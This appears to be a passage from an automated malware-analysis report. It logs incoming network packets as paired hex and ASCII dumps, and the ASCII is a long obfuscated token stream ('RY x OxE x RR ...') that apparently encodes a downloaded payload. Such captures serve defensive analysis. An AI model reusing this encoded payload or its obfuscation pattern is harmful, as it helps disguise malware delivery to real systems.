RY x RY x Oxx x RY x RR x OOo x RY x tO x YR x RY x Qk x OxE x RY x OxE x RY x tO x Oxt x RY x Qk x OxE x RR x OxQ x RY x tO x YR x RY x QQ x OxE x RR x OOR x RY x tO x RQ x RY x Oxx x RY x RR x OOo x RY x tO x YR x RY x Qk x OxE x RY x OxE x RY
2021-10-29 18:11:00 UTC	2790	IN	Data Raw: 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 Data Ascii: x OOQ x RY x RY x Kt x Kt x KE x RY x RY x Rt x Yo x RY x tR x OxE x RY x OOt x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Rt x kY x RY x QQ x RY x ko x kO x RR x Qk x RY x RY x OOO
2021-10-29 18:11:00 UTC	2794	IN	Data Raw: 45 20 78 20 52 6b 20 78 20 59 78 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 78 6f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b Data Ascii: E x Rk x Yx x RY x OOQ x RY x RY x Kt x Kt x KE x RY x RY x Rt x Yo x RY x tR x OxE x RY x OOt x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Rt x kY x RY x QQ x RY x Oxo x OOQ x RR x k
2021-10-29 18:11:00 UTC	2799	IN	Data Raw: 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 Data Ascii: x RY x Qk x OOQ x RR x OoO x RY x tO x kY x RY x tE x RY x RR x OOQ x RY x tO x RQ x RY x QQ x OOQ x RR x Ooo x RY x tO x Oxt x RY x Qk x OxE x RR x OOx x RY x Rt x RY x RY x Qt x kO x RR x Kk x RY x Rt x RY x RY x Oxx x RY x RR x OOk x RY x Rt x RY x RY
2021-10-29 18:11:00 UTC	2803	IN	Data Raw: 52 59 20 78 20 4f 4f 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 74 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 59 78 20 78 20 52 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 Data Ascii: RY x OOO x RQ x RY x RY x Rk x Kt x Kt x Yo x RY x RY x kY x OxE x RR x KQ x RY x tO x Yo x RY x tE x RY x RR x tK x RY x tO x Yo x RY x tE x RY x RY x Yx x RY x Rk x kO x RY x tt x RY x RY x OxE x RY x tx x OxE x RY x tE x RY x RY x Kk x RY x Rk x OxE x
2021-10-29 18:11:00 UTC	2807	IN	Data Raw: 20 52 59 20 78 20 52 52 20 78 20 6b 59 20 78 20 74 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 74 78 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 4f 20 78 20 6b 74 20 78 20 6b 4f 20 78 20 74 78 20 78 20 74 78 20 78 20 52 Data Ascii: RY x RR x kY x tk x OxE x RY x ko x kO x tx x Ooo x RY x RY x Yo x RY x tO x kO x kO x RY x RY x kx x Kt x Kt x OxE x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x RY x RY x tx x kO x kt x kO x tx x tx x R
2021-10-29 18:11:00 UTC	2811	IN	Data Raw: 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 74 78 20 78 20 74 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 Data Ascii: Y x RY x kY x OOQ x RR x Oxk x RY x to x kO x RY x Oxx x RY x RR x OOo x RY x tO x Yo x RY x Qx x OOQ x RR x Ooo x RY x RY x RY x RY x Rt x RY x RR x tk x RY x tx x tt x RY x tE x RY x RR x kK x RY x tO x OxE x RY x Qx x kO x RR x OOY x RY x tO x OOQ x RY
2021-10-29 18:11:00 UTC	2814	IN	Data Raw: 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 51 78 20 78 Data Ascii: xx x RY x RR x OOO x RY x tO x RQ x RY x Oxx x RY x RY x OxE x RY x to x Oxt x RY x Qk x OOQ x RR x KQ x RY x Rt x RY x RY x Oxx x OOQ x RR x OOk x RY x to x kY x RY x Qk x RY x RR x Oxt x RY x Rt x RY x RY x Qk x RY x RR x OOo x RY x tO x OOY x RY x Qx x
2021-10-29 18:11:00 UTC	2818	IN	Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 51 20 78 20 6b 51 20 78 20 52 59 20 78 20 51 74 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 Data Ascii: Y x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x kY x RQ x RQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x Rt x RY x RR x tx x RY x tx x OxE x RY x ko x kO x RY x OxE x RY x RQ x kQ x RY x Qt x kO x RR x OOY x RY
2021-10-29 18:11:00 UTC	2822	IN	Data Raw: 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 52 74 20 78 20 74 74 20 78 20 52 59 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 4b Data Ascii: x to x kO x RY x tE x RY x RR x kR x RY x RQ x RQ x RY x kO x OOQ x RY x OxE x RY x RQ x kY x RY x Qk x RY x RR x Oxk x RY x to x kQ x RY x kQ x kO x RR x Kk x RY x tO x Oxt x RY x Qk x OOQ x RR x OOt x RY x Rt x tt x RY x kO x kO x RR x Oxt x RY x tO x K
2021-10-29 18:11:00 UTC	2826	IN	Data Raw: 59 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 59 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 51 6b 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 51 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 6b 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 Data Ascii: Y x RY x Qk x OxE x RR x Yx x RY x tO x Oxt x RY x QQ x OxE x RR x OOk x RY x tO x Yo x RY x Qk x kO x RR x Oxk x RY x tO x Yo x RY x Oxx x RY x RY x OxE x RY x to x kQ x RY x kQ x kO x RR x OoO x RY x tO x Oxt x RY x kQ x kO x RR x OxY x RY x tO x OOQ x
2021-10-29 18:11:00 UTC	2831	IN	Data Raw: 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 51 20 78 20 6b 4f 20 78 20 52 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 4b 20 78 Data Ascii: t x RY x tO x Oxt x RY x QQ x OOQ x RR x Kk x RY x tO x RQ x RY x RQ x kO x RR x kk x RY x tO x Oxt x RY x Qk x OxE x RR x Oxt x RY x tO x YR x RY x Oxx x OOQ x RR x Ooo x RY x Rt x RY x RY x kR x OxE x RR x OOo x RY x to x tt x RY x Oxx x RY x RR x OxK x
2021-10-29 18:11:00 UTC	2835	IN	Data Raw: 20 52 59 20 78 20 52 59 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 52 59 20 78 20 52 6b 20 78 20 59 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: RY x RY x kQ x RY x RY x OxE x RY x Rt x RY x RY x RQ x RY x RR x OxE x RY x Rt x RY x Rk x YR x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x RY x RY x RQ x RY x RY x RQ x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY
2021-10-29 18:11:00 UTC	2839	IN	Data Raw: 4f 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 74 4f 20 78 20 74 74 20 78 20 52 59 20 78 20 51 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 74 78 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 52 52 20 78 20 4f 4f 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 52 20 78 20 52 59 20 78 20 51 78 20 78 20 52 59 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 52 20 78 Data Ascii: O x RR x OOt x RY x tO x tt x RY x Qx x kO x RR x Oxt x RY x tx x tE x RY x Oxx x kO x RR x OOt x RY x RY x RY x RY x tR x OxE x RY x tx x RY x RY x RQ x RY x kY x RY x RR x OoO x RY x tO x YR x RY x Qx x RY x RR x KQ x RY x tO x tt x RY x Oxx x RY x RR x
2021-10-29 18:11:00 UTC	2843	IN	Data Raw: 4f 78 78 20 78 20 59 4f 20 78 20 74 6b 20 78 20 6b 4b 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 51 74 20 78 20 6b 74 20 78 20 59 45 20 78 20 4f 4f 78 20 78 20 51 51 20 78 20 4f 6f 4f 20 78 20 74 45 20 78 20 4b 45 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 4f 4f 4f 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 74 20 78 20 52 59 20 78 20 59 52 20 78 20 51 78 20 78 20 74 6f 20 78 20 52 52 20 78 20 4f 4f 6f 20 78 20 6b 4f 20 78 20 6b 6b 20 78 20 4f 78 78 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 6b 59 20 78 20 4b 45 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4b 51 20 78 20 51 78 20 78 20 6b 4b 20 78 20 4f 4f 51 20 78 20 4f 4f 6b 20 78 20 51 78 Data Ascii: Oxx x YO x tk x kK x Qx x kk x ko x Kk x Qt x kt x YE x OOx x QQ x OoO x tE x KE x Rk x kO x OOO x OxE x tE x Rt x RY x OxE x tE x Rt x RY x YR x Qx x to x RR x OOo x kO x kk x Oxx x OxK x QQ x OxQ x kY x KE x Oxx x to x tK x KQ x Qx x kK x OOQ x OOk x Qx
2021-10-29 18:11:00 UTC	2846	IN	Data Raw: 6f 20 78 20 74 74 20 78 20 4b 51 20 78 20 74 74 20 78 20 6b 4b 20 78 20 74 74 20 78 20 59 6f 20 78 20 6b 51 20 78 20 4f 78 52 20 78 20 4f 78 6b 20 78 20 4f 78 4b 20 78 20 74 52 20 78 20 6b 4b 20 78 20 6b 52 20 78 20 4f 78 74 20 78 20 74 51 20 78 20 6b 4b 20 78 20 6b 51 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 74 4f 20 78 20 51 78 20 78 20 4f 78 59 20 78 20 51 78 20 78 20 52 74 20 78 20 4b 6b 20 78 20 59 6f 20 78 20 51 78 20 78 20 6b 4b 20 78 20 74 4b 20 78 20 4f 78 74 20 78 20 74 52 20 78 20 6b 74 20 78 20 52 51 20 78 20 4f 6f 4f 20 78 20 74 6b 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 4f 4f 51 20 78 20 74 74 20 78 20 4f 78 52 20 78 20 74 45 20 78 20 4b 51 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4f 78 74 20 78 20 4f 6f 6f 20 78 20 6b 51 20 78 20 6b 6b 20 Data Ascii: o x tt x KQ x tt x kK x tt x Yo x kQ x OxR x Oxk x OxK x tR x kK x kR x Oxt x tQ x kK x kQ x OOR x tk x tO x Qx x OxY x Qx x Rt x Kk x Yo x Qx x kK x tK x Oxt x tR x kt x RQ x OoO x tk x Rk x kO x OOQ x tt x OxR x tE x KQ x Qx x OxR x Oxt x Ooo x kQ x kk
2021-10-29 18:11:00 UTC	2850	IN	Data Raw: 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 51 20 78 20 74 4b 20 78 20 74 59 20 78 20 4f 4f 4f 20 78 20 51 78 20 78 20 74 45 20 78 20 4f 78 4b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 74 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 52 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 4f 78 6f 20 78 20 52 6b 20 78 20 52 51 20 78 20 74 52 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 74 4f 20 78 20 52 59 20 78 20 4b 51 20 78 20 6b 59 20 78 20 52 51 20 78 20 52 52 20 78 20 4f 78 4b 20 78 20 74 74 20 78 20 52 74 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 74 45 20 78 20 4f 6f 78 20 78 20 74 4f 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 51 78 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 Data Ascii: Y x QQ x OOQ x Rk x kO x kQ x tK x tY x OOO x Qx x tE x OxK x OOk x QQ x tk x RY x kO x RQ x tR x RR x kO x RY x OOQ x Oxo x Rk x RQ x tR x tt x RY x Oxt x tO x RY x KQ x kY x RQ x RR x OxK x tt x Rt x ko x Kk x tE x Oox x tO x Ooo x RY x Qx x RR x OxE x
2021-10-29 18:11:00 UTC	2854	IN	Data Raw: 6b 20 78 20 52 59 20 78 20 6b 74 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 6b 4f 20 78 20 74 51 20 78 20 59 6f 20 78 20 6b 4b 20 78 20 4f 4f 45 20 78 20 4f 4f 4f 20 78 20 6b 59 20 78 20 4f 6f 6f 20 78 20 4f 4f 4f 20 78 20 4f 6f 78 20 78 20 4b 51 20 78 20 6b 51 20 78 20 4f 4f 45 20 78 20 4b 45 20 78 20 4f 4f 51 20 78 20 51 6b 20 78 20 4f 4f 74 20 78 20 4f 4f 52 20 78 20 51 78 20 78 20 4f 6f 78 20 78 20 4f 4f 4f 20 78 20 52 6b 20 78 20 4f 78 4b 20 78 20 51 74 20 78 20 4b 6b 20 78 20 4b 6b 20 78 20 52 6b 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 4f 78 78 20 78 20 52 52 20 78 20 4f 78 45 20 78 20 74 6b 20 78 20 6b 52 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 59 6f 20 78 20 52 51 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 6b 4f 20 78 20 6b 59 20 78 20 4f 4f 6f 20 Data Ascii: k x RY x kt x OxE x RR x kO x tQ x Yo x kK x OOE x OOO x kY x Ooo x OOO x Oox x KQ x kQ x OOE x KE x OOQ x Qk x OOt x OOR x Qx x Oox x OOO x Rk x OxK x Qt x Kk x Kk x Rk x OxR x RY x Oxx x RR x OxE x tk x kR x to x kO x Yo x RQ x tx x OxE x kO x kY x OOo
2021-10-29 18:11:00 UTC	2858	IN	Data Raw: 20 78 20 59 78 20 78 20 4f 4f 78 20 78 20 4f 4f 6b 20 78 20 74 74 20 78 20 74 45 20 78 20 4f 6f 4f 20 78 20 4f 78 4b 20 78 20 6b 45 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 4f 78 4b 20 78 20 4f 4f 6f 20 78 20 74 6b 20 78 20 59 6f 20 78 20 4f 78 45 20 78 20 4f 4f 59 20 78 20 59 4f 20 78 20 4f 6f 6f 20 78 20 6b 4f 20 78 20 4f 4f 59 20 78 20 59 52 20 78 20 4f 6f 4f 20 78 20 52 52 20 78 20 59 78 20 78 20 51 51 20 78 20 59 6f 20 78 20 59 4f 20 78 20 59 6f 20 78 20 52 52 20 78 20 6b 51 20 78 20 4f 4f 6b 20 78 20 59 52 20 78 20 51 51 20 78 20 4b 51 20 78 20 52 6b 20 78 20 4f 78 6f 20 78 20 74 4f 20 78 20 6b 74 20 78 20 4f 78 4f 20 78 20 59 74 20 78 20 4f 78 6f 20 78 20 4f 4f 6f 20 78 20 4f 78 6f 20 78 20 52 52 20 78 20 4b 74 20 78 20 52 52 20 78 20 6b 45 20 Data Ascii: x Yx x OOx x OOk x tt x tE x OoO x OxK x kE x Ooo x OOk x OxK x OOo x tk x Yo x OxE x OOY x YO x Ooo x kO x OOY x YR x OoO x RR x Yx x QQ x Yo x YO x Yo x RR x kQ x OOk x YR x QQ x KQ x Rk x Oxo x tO x kt x OxO x Yt x Oxo x OOo x Oxo x RR x Kt x RR x kE
2021-10-29 18:11:00 UTC	2863	IN	Data Raw: 20 4f 78 45 20 78 20 59 45 20 78 20 4f 6f 6f 20 78 20 6b 51 20 78 20 4b 74 20 78 20 6b 45 20 78 20 4b 51 20 78 20 4f 4f 59 20 78 20 59 52 20 78 20 74 4f 20 78 20 4f 4f 52 20 78 20 74 78 20 78 20 51 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 4f 78 74 20 78 20 59 4b 20 78 20 4f 78 4b 20 78 20 6b 78 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4f 4f 4b 20 78 20 74 6f 20 78 20 59 45 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 4f 6f 78 20 78 20 74 4f 20 78 20 74 52 20 78 20 6b 74 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 4f 4f 74 20 78 20 74 6b 20 78 20 4f 6f 78 20 78 20 59 78 20 78 20 6b 51 20 78 20 51 6b 20 78 20 6b 45 20 78 20 4f 4f 6f 20 78 20 4b 45 20 78 20 4f 78 78 20 78 20 4f 78 45 20 78 20 51 51 20 78 20 6b 6f 20 78 20 4f 6f 4f 20 78 20 6b 4f 20 78 20 Data Ascii: OxE x YE x Ooo x kQ x Kt x kE x KQ x OOY x YR x tO x OOR x tx x QQ x tx x OOR x Oxt x YK x OxK x kx x Oxk x Oxx x OOK x to x YE x OxY x YR x Oox x tO x tR x kt x tO x OOQ x OOt x tk x Oox x Yx x kQ x Qk x kE x OOo x KE x Oxx x OxE x QQ x ko x OoO x kO x
2021-10-29 18:11:00 UTC	2867	IN	Data Raw: 78 20 74 4b 20 78 20 6b 78 20 78 20 6b 45 20 78 20 4f 6f 6f 20 78 20 4f 78 45 20 78 20 6b 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 4f 4f 52 20 78 20 59 78 20 78 20 6b 45 20 78 20 4f 4f 51 20 78 20 4f 4f 6f 20 78 20 4f 78 59 20 78 20 74 6b 20 78 20 4f 4f 45 20 78 20 6b 74 20 78 20 6b 74 20 78 20 4f 78 4b 20 78 20 6b 45 20 78 20 6b 4f 20 78 20 4f 78 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 52 52 20 78 20 74 51 20 78 20 4f 4f 6b 20 78 20 4f 78 4b 20 78 20 4f 78 78 20 78 20 74 4f 20 78 20 6b 52 20 78 20 59 45 20 78 20 52 74 20 78 20 6b 78 20 78 20 6b 74 20 78 20 4f 4f 6f 20 78 20 4f 78 74 20 78 20 59 74 20 78 20 59 45 20 78 20 4f 4f 4b 20 78 20 51 51 20 78 20 6b 59 20 78 20 52 74 20 78 20 51 78 20 78 20 4f 78 6b 20 78 20 4f 